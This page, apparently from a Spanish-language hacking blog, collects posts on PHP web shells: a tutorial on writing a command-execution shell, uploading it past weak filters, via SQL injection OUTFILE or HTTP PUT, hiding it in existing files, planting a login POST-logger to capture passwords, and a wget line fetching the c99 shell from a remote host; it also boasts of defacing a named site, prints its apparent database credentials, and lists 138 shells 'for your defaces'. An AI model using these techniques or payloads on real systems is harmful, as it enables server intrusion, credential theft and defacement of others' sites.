Mostrando entradas con la etiqueta Shells. Mostrar todas las entradas
Mostrando entradas con la etiqueta Shells. Mostrar todas las entradas

"Tips a la hora de usar shells + otras cuantas cosas" - by _84kur10_

Bueno, os dejo este buen manual de un bro para iniciarse con las phpshells:

Saludos a todos.
el tutorial esta basico, pero creo que a muchos les serviria :D

bueno el contenido de este minututorial es


Tips a la hora de usar shells + otras cuantas cosas

0x01 Q son la shells.
0x02 PhpShells
0x03 Creacion de PhpShells
0x04 Subir una shell a un servidor
0x05 Ya subi la shell y ahora?
0x06 Preparando el sistema para volver (Keylogger php) o (POSTlogger php)
0x07 Dejar shell incrustada (Shell Embedded)
0x08 Preguntas en otros foros sobre este tuto
0x09 Conclusion
0x10 Agradecimiento


0x01 Shell


A una shell como tal la podemos definir como el software que permite que el usuario acceda a los servicios del sistema sin ir directamente al kernel, si no precisamente a travez de la shell, en otras palabras la shell sera una intermediaria entre el usuario y el sistema.


0x02 PhpShell (WebShell)


Bueno en este orden de ideas podemos entonces decir que una phpShell es un intermediario entre el sistema y el usuario, con la particularidad que esta desarrollada en php, asi como hay shells hechas en php, tambien existen en un sin fin de lenguajes de programacion, la ventaja de q la shell este hecha en php o en algun lenguaje de programacion para la web, es q podremos usar la shell aprovechando los servicios de la maquina remota.

en otras palabras Gracias a que en la maquina remota esta corriendo un servicio, nuestra (Web)shell se ejecutara y podremos visualizarla por el navegador.


0x03 Creacion de una PhpShell.



Pues como se imaginaran si quicieramos crear una phpshell, lo que necesitariamos fundamentalmente es conocer a fondo el lenguaje de programacion en el que la vamos a desarrollar, y crear opciones de manejo de archivos, navegacion en el servidor etc, es decir, todo lo que nos facilite interactuar con el sistema remoto.
un miniejemplo de una shell, que pueda ejecutar comandos en el servidor seria.

partiendo de que el comando de php : system('dir'); ejecuta el comando dir en la maquina donde este alojado el archivo, entonces podremos decir que lo haremos para que ejecute todo lo que envien por un navegador.

¿como asi? si pues por ejemplo si hacemos un archivo php con el siguiente contenido:

Código: [Seleccionar]
echo $_GET['comando'];
?>


lo guardamos como test.php. lo colocamos en un servidor web que soporte php (podrian hacerlo en uno free o localmente para probar) y accedemmos al archivo por el navegador asi

Código: [Seleccionar]
www.dondeestemontado.com/test.php?comando=Hola
el resultado que nos debe arrojar el servidor es simpemente: Hola
pues lo que le decimos esq con GET osea hace referencia a lo q viaje por la url (por decirlo de algun modo) y solo decimos que escriba lo q llego en comando.


si modificamos el test.php por algo como esto
Código: [Seleccionar]
( $_GET['comando']);
?>

lo que hara sera ejecutar el comando q le enviemos por la url
por ejemplo si mandamos algo como esto en la url

Código: [Seleccionar]
www.dondeestemontado.com/test.php?comando=dir
se ejecutara un dir en el servidor.

tambien podriamos hacer algo asi:

Código: [Seleccionar]
( $_GET['comando']);
?>


Código: [Seleccionar]
www.dondeestemontado.com/test.php?comando=index.php
con lo que visualizaremos el codigo de index.php.

como ven, con este archivo php estamos de ciertaforma comunicandos con la maquina. asi que digamos q este es el principio basico de una shell. Actualemente encontraras shells famosas como c99,c100,r57... entre muchas otras, que ya cuentan con sistemas completo para saltarse muchos filtros. son faciles de encontrar. simpemente si quieren algunas de las q les digo coloquen en google:

Código: [Seleccionar]
inurl:c99.txt
0x04 Subir una shell a un servidor

Cuando se trata de atacar un servidor web, lo que uno principalmente busca de cierta forma, es tratar de colar una phpshell, para que? pues para tener mas acceso al servidor e ir por la informacion que nos interesa.
osea que ya se imaginaran que necesitan un especie de uploading o explotar algun tipo de bug que permita subir archivos. partiendo de ese principio basico se imaginaran que si colocamos digamos en google

Código: [Seleccionar]
inurl:upload.php
encontraremos muchos uploading para probar haber si podemos colar una phpshell.
me he encontrado con muchas webs que no filtran las extensiones correctamente lo que nos permite subir archivos de forma arbitraria, eso es a lo llamamos Arbitrary file Upload, es asi como podemos subir una shell, sin tanto desmadre, y con poco esfuerzo.

aprovecho para contarle algo q me sucedio, durante el deface a el-informador... note e un principio q tenia blind sql inyeccion. pues como algunos sabran ese tipo de inyeccion son algo tediosas... tardamos mucho en dar con el resultado que queremos y a veces teniendo en cuenta q probablemente no corramos con suerte. entonces ps estaba trantando de hacerla cuando me dio por probar encontrar el panel de admin de la web que esta ubicado en:
Código: [Seleccionar]
http://www.el-informador.com/admin/me tope con una sorpresa cuando vi que habia un uploader para imagenes, asi que probe subir una shell.
y pues medio resultado... me sorprendi un poco e inclusive me dio algo de risa, pues de blind sql inyeccion a tener un uploading listo... y sin ningun esfuerzo pues jum... nos ahorramos bastante.
de esta forma subi la shell del informador (que aun esta online).

por otro lado, hay algunos tipos de filtros q nos podemos saltar, por ejemplo a veces usan cosas como

Código: [Seleccionar]
if(strpos($HTTP_POST_FILES['file']['type'],"jpg"))
?>

aqui lo que hacen es mirar lo q viene en el campo type de la cabecera http, para obtener el tipo del archivo, si strpos encuentra el tipo devuelve la posicion, si no devuelve un falso... como todos sabran podemos modificar las cabeceras para cambiar el tipo, pueden usar el http live header, achilles, tamper data... por otro lado podemos encontrarnos con esta filtracion.

Código: [Seleccionar]
=explode(".",$nombreFIle);
if(
$tipo[1]=='jpg'){
echo
"paso";
}
?>

con lo que solo bastaria subir la shell con un nombre como este shell.jpg.php, porq? porq explode('.','shell.jpg.php')
parte el nombre en un vector y toma el . como referencia, por tanto la posicion 1 tiene jpg y la 2 tiene php. y al comparar solo con la 1 entonces al parecer seria un jpg.


haber comoquemonos en este contexto, no tenemos ningun uploading, solo tenemos un sql inyeccion, y no tenemos admin login ni nada. cuanto esto pasa, podemos intentar filtrar una shell con la setencia outfile
podria ser algo como :

Código: [Seleccionar]
union+select+,1,2,''+into+oufile+ruta/shell.php


si nos pone mucha joda.. podemos intentar pasar el code php a hex para filtrarla.

Tambien podemos subir un archivo con PUT, bajo la condicion que el phpini este con esto

Código: [Seleccionar]
allow_url_include = On
allow_url_fopen = On
teniendo el put activado podemos enviar enla cabecera http algo como
Código: [Seleccionar]

PUT /archivo.php HTTP/1.1
Host: Ficticio.com
Content-Type: text/plain
Content-Length:4


y podremos subir shell.


0x05 Ya subi la shell y ahora?

Una vez que logremos tener la shell arriba, uno de los tips o cosas que podemos hacer es buscar los archivos de configuracion de la BD, para que? pues para usmear, o para dumpearla, como asi dumpearla? pues veran es simplemente descargarnos una copia de su BD, en particular las shells tienen opciones para los archivos q lista... como ver descargar editar etc.

ejemplo



ahora usmeando un poco encontramos los archivos de configuracion, inclusive notamos que nuestra shell nos lo indica.



si lo clickeamos nos dara informacion como esta:

Código: [Seleccionar]
$user_db = 'i1n1f3o4_admin'; // Server Username
$pass_db = 'infor2005'; // Server Password
$host_db = 'localhost'; // Server (e.g. localhost)
$db = 'i1n1f3o4_encuesta'; // Database to be created or name of existing database (Please note: Database containing dashes cannot be created)

con lo que nos podemos autenticar aqui.


Bueno una vez coloquemos los datos... de host,Bd user y password, podremos visualizar algo como:



la opcion dump es la que les habia mencionado previamente, y pues podran navegar en la bd... hagan de cuenta que es un cliente mysql.

la shell tiene opciones para hacer back conection.
para que sirve? pues para bypasear el cortafuegos, podemos leer archivos ya sea usando php o mysql... podremos hacer un sinfin de cosas, yo aconsejo que le brujeen a la shell ojala la la monten localmente, y ensayan las opciones. que pues son bastante intuitivas.

0x06 Preparando el sistema para volver
Bueno pues la idea es que una vez entramos, dejemos asegurado un proximo regreso, por ello esta es una de las tantas opciones, se trata de guardar en un log (que podria ser remoto pero que aqui lo dejo de forma local), esto se puede ubicar en el archivo php encargado de recibir los datos del login

Código: [Seleccionar]
foreach($_POST as $index => $valor){
$log="[in]".$log.$index." = > ".$valor."[in]
"
;
}

$logFile= fopen('logs.txt', 'a');
fwrite($logFile, $log."\n");
?>


Ahora podremos ver lo que guarde el log en logs.txt, aclaro q es un ejemplo simple, se podrian hacer cosas como conexion por ftp... etc. y si el admin quiere darse cuenta que le dejamos un keylogger (seria mas un POST logger o algo asi), pues tendria que ir a revisar el codigo fuente de su aplicacion.

0x07 Dejar shell incrustada (Shell Embedded)

se trata de agregar la shell dentro de un archivo existente, con el fin de evitar sumar archivos al servidor, solo es cuestion de encontrar el archivo indicado, y acomodamos la minishell para que solo reaccione si enviamos un parametro asi

Código: [Seleccionar]
if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>



esto con el fin de evitar q salgan errores... q adviertan que hay problemas en el archivo

y lo ejecutariamos asi

Código: [Seleccionar]
www.dondeestemontado.com/test.php?comando=dir&activeshell=activar
Bueno aqui acaba este listado de tips... y de teoria... espere les guste.


0x08 Preguntas de otros foros




ShadinessDark hackxcrack
Ah también me parece que le agregues la forma de esconder la shell...
Osea que no aparezca en la lista de archivos..

R

digamos q esta es su shell

Código: [Seleccionar]
if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>


y este es el index.php

Código: [Seleccionar]
echo "Lo que sea";
?>



hay varias formas ... por un lado esta una que es simplemente:

Código: [Seleccionar]
echo "Lo que sea";
?>


if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>


o

Código: [Seleccionar]
echo "Lo que sea";

if(
$_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>





p´s es una forma sencilla. pero se podrian usar una especies de ofuscadres para que no se entienda el code.... y pues es cuestion de analizar cual es el mejor archivo para incrustar la shell... o el PostLogger...



edugibert hackxcrack
Se puede camuflar la shell con alguna archivo!! Haber si me explico coger el blinder y camuflar la shell con un pdf o un doc o lo que sea y después ejecutarlo ?¿ Si la respuesta es afirmativa como ?¿

R:


si man eso se puede hacer... quizas hallan varias formas, pero por ahora se me ocurren 2.

la primera es que subas digamos la shell con extension .jpg (o la que sea pero para el ejemplo sera jpg)

con la shell arriba con otro formato agregas un .htaccess con el siguiente codigo

Código: [Seleccionar]

ForceType application/x-httpd-php


eso hara que el servidor ejecute el code php de los jpg... por tanto aunq nuestra shell tenga extension jpg se ejecutara. ten encuenta q puede ser doc pdf lo q sea.

psdta: buena pregunta, con esto complementare el tuto :D



la otra que se me ocurre es que causemos un lfi aproposito asi:

Código: [Seleccionar]
if(!empty($_GET['file'])){
include
$_GET['file'];
}
?>



y podremos incluir nuestra shell asi.

Código: [Seleccionar]
http://www.victim.com/filewithlfi.php?file=shell.jpg

lo que hara que se incluya la supuesta imagen y se ejecute el php.




C3llu5 hackxcrack

tengo una pregunta

enkontre una web vulnerable, y logre subir un X texto para komprebar si me dejaba,

haora e intentado subir una shell , pero haora mi problem es el peso de la shell, no me pone problema por el formato, pero no me sube por el peso del archivo de la shell,

pues bueno mi pregunta, es ke si hay una de subirla, o alguna shell ke no pese tanto, para que no me ponga problema por el peso,

R:

man, que SO tiene el servidor?

podria intentar subir un archivo php pero no con una shell, si no con un uploader... depues ya subes shell usando el archivo q subiste... (un uploader pesa mucho menos)

o puede intentar subir un archivo php que ejecute esto

Código: [Seleccionar]
wget www.server.com/c99.txt;chmod 777 c99.txt;mv c99.txt shell.php
donde
Código: [Seleccionar]
www.server.com/c99.txtes la ubicacion de tu shell
y ya despues accedes a:

Código: [Seleccionar]
www.victim.com/shell.php




0x10 Conclusiones



Nada solo resta decir, si quieres atacar algo la mejor herramienta es saber como funciona, asi tendras mas posibilidades


0x10 Agrecimiento



Agradezco a Cygog por sacarme de un par de dudas :D.
y a todos los q preguntan porq asi se complementa el tutorial.

Espero que os sirviera! =)

Un saludo,
xassiz

HTTP METHODS: Subiendo Shell mediante PUT

Saludos!


El caso es que ayer estaba hablando con RGB90, cuando salió este tema de conversación, el de defacear una web a través del método HTTP PUT. Antes que nada necesito hacer una pequeña introducción para que comprendais cómo funcionan los Métodos HTTP, veremos algunos métodos y posteriormente pasare a la explicación de como usar PUT (Si el servidor lo tiene Allowed) para modificar un archivo, o para subir una shell.


El protocolo HTTP tiene una serie de métodos que permiten interaccionar al cliente con un servidor (generalmente en el que se aloja una web). Las relaciones entre cliente y servidor, se lleva a cabo a través de cabeceras, las que manda el cliente las denominaremos peticiones. El servidor manda otras cabeceras en respuesta a esas peticiones que el cliente mandó.

Existen varios tipos de cabeceras, entre las que destacan OPTIONS, HEAD, PUT, DELETE, MOVE, COPY, POST, GET... Estoy más seguro que estaris más familiarizados con los métodos POST y GET, sobre todo los que sepan PHP.

Para poder visualizar una web a través de un navegador, el navegador a tenido primero que mandar una cabecera con un metodo tipo GET (este tipo de metodo se encarga de mostrar el código fuente de un archivo, el cual posteriormente el navegador interpretará) a la cual el servidor ha respondido mandandole una cabecera con algunos datos, y que además contiene el source del archivo al que le hemos hecho GET.

Quizás os haya liado un poco con tanta palabrería, así que os lo explico rápidamente mostrando un ejemplo:

-Navegador manda una cabecera:
Código:
GET /index.php HTTP/1.1
Host: hostfalso.com
-Servidor le contesta:
Código:
HTTP/1.x 200 OK
Date: Mon, 25 Aug 2008 14:25:39 GMT
Server: Apache
Conection: Keep-Alive
Keep-Alive: Timeout=2, max=125

Hello World

omo podeis observar, la estructúra básica de una cabecera es:
[Metodo] [Archivo] HTTP/
Host: El host


Y debajo otros campos, como pueden ser el tiempo de vida, la cookie, el user-agent, etc...


Podemos usar add ons como Tamper Data, Live HTTP Header, o Achilles para poder sniffear estas cabeceras y poder modificarlas posteriormente. Nosotros vamos a servirnos de Live HTTP Header (para FireFox) para modificar las peticiones y así usar otros métodos...


Ahora retomemos aquello de lo que empecemos a hablar, los métodos HTTP. Si recordais, nombré a OPTIONS. Este método informa sobre los metodos que el servidor tiene Allowed (permitidos). Lo normal es que tengan muy restringido esto... Puesto como ya le enseñe a RGB90 en dos Webs, que si no se tiene cuidado podemos defacear perfectamente, o borrar archivos...

Bueno, como iba diciendo, si sniffeamos una cabecera con Live HTTP Headers, y le damos a REPETIR y cambiamos GET por OPTIONS, volvemos a dar a repetir... Y obtendremos una nueva respuesta por parte del servidor, en la cual aparecerá más data, y la parte que nos interesa los métodos permitidos.

Éstos aparecen en una línea que comienza con Allow: [Metodos permitidos]. En el caso de que tuviesen permito el método PUT, podríamos subir una shell...

Ahora hablemos un poco sobre este método... El método PUT es lo contrario de GET. GET, por su parte lo que hace es leer el source del archivo al que le hacemos la petición, en cambio, PUT lo que hace es sobreescribir sobre el código fuente del archivo. Para usar PUT simplemente devemos de mandar una cabecera así:
Código:
PUT /archivo.txt HTTP/1.1
Host: Ficticio.com
Content-Type: text/plain
Content-Length:4

Hola
Si el archivo al que le hacemos PUT existe, lo que ocurre es que se sobreescribe nuestro código fuente sobre el que ya había, en cambio si no existe el archivo... lo crea. Por lo tanto, de esta forma podemos subir una shell a un servidor que tenga permitido el método PUT.

Baste decir que si el webmaster mira sus logs, podrá ver perfectamente que hemos recurrido a esta técnica, puesto que canta mucho XD.


Podeis codearos algún exploit, yo anoche estuve codeando uno para este tutorial, se lo pasé a Seth para que lo betatesteara, me mandó los errores y los corregí, ahora el problema es de diseño, es decir funciona sin errores, pero me salta como que PUT está allowed siempre -.-, dentro de un rato lo revisaré haber si consigo arreglar eso y lo publico.


Bytes

[+] Shells,Para Tus Defaces 138 En Total!!!

1.Аccept Language
2.Ajan.asp
3.Ajax PHP Command Shell
4.Antichat Shell v1.3
5.Asmodeus v0.1.pl
6.Ayyildiz Tim -AYT- Shell v 2.1 Biz
7.aZRaiLPhp v1.0
8.backdoor1
9.backdoorfr
10.backup.php
11.backupsql
12.backupsql.php
13.Blind Shell.cpp
14.c99
15.c99(1).php
16.c100
17.c2007.php
18.Casus15.php
19.cgi-python.py
20.CMD.asp
21.CmdAsp.asp
22.connectback2.pl
23.Crystal
24.ctt_sh
25.ctt_sh.php
26.cybershell
27.cybershell.php
28.CyberSpy5.Asp
29.dC3 Security Crew Shell PRiV
30.Dive Shell 1.0 - Emperor Hacking Team
31.DTool Pro
32.Dx
33.DxShell_hk.php
34.Dx.php
35.EFSO_2.asp
36.Elmali Seker.asp
37.elmaliseker.asp
38.Fatalshell.php
39.fuckphpshell
40.GFS web-shell ver 3.1.7 - PRiV8
41.gfs_sh
42.gfs_sh.php
43.h4ntu shell [powered by tsoi]
44.img.php
45.iMHaPFtp
46.iMHaPFtp.php
47.Inderxer.asp
48.indexer.asp
49.ironshell
50.Java Shell.js
51.JspWebshell 1.2
52.KAdot Universal Shell v0.1.6.html
53.Klasvayv.asp
54.lamashell
55.Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit
56.load_shell
57.load_shell.php
58.lurm_safemod_on.cgi
59.mailer3.php
60.matamu
61.Moroccan Spamers Ma-EditioN By GhOsT
62.myshell.php
63.Mysql interface v1.0
64.MySQL Web Interface Version 0.8
65.mysql.php
66.mysql_shell
67.mysql_tool.php
68.NCC-Shell
69.network.php
70.NetworkFileManagerPHP
71.NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version
72.Nshell (1).php
73.nshell.php
74.nstview.php
75.NT Addy.asp
76.ntdaddy.asp
77.perlbot.pl
78.PH Vayv.php
79.PHANTASMA
80.PHP Backdoor Connect.pl
81.PHP Shell.php
82.phpbackdoor15
83.php-backdoor
84.php-include-w-shell
85.pHpINJ.php
86.phpjackal
87.phpshell17
88.PHPRemoteView
89.Phyton Shell.py
90.phvayv.php
91.Private-i3lue
92.pws
93.pws.php
94.ru24_post_sh
95.r57 Shell.php
96.r57.php
97.r577.php
98.Rader.asp
99.Rem Exp.asp
100.Rem View.php
101.rootshell
102.ru24_post_sh.php
103.Russian.php
104.s72 Shell v1.1 Coding
105.s.php
106.Safe0ver Shell -Safe Mod Bypass By Evilc0der
107.Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2
108.Server Variables.asp
109.shell.php
110.shellbot.pl
111.SimAttacker - Vrsion 1.0.0 - priv8 4 My friend
112.simple_cmd
113.simple-backdoor
114.SimShell 1.0 - Simorgh Security MGZ
115.Sincap.php
116.smtpd.py
117.SnIpEr_SA Shell
118.spy.php
119.sql.php
120.telnet.cgi
121.telnet.pl
122.telnetd.pl
123.Test.php
124.Tool.asp
125.Uploader.php
126.w3d.php
127.w4k.php
128.w.php
129.wacking.php
130.webshell
131.WebShell.cgi
132.WinX Shell
133.Worse Linux Shell
134.xinfo.php
135.zacosmall
136.zacosmall.php
137.zehir4.asp
138.Zehir 4.asp


Descarga aquí.

Saludos,
xassiz


Algunas Shells



Saludos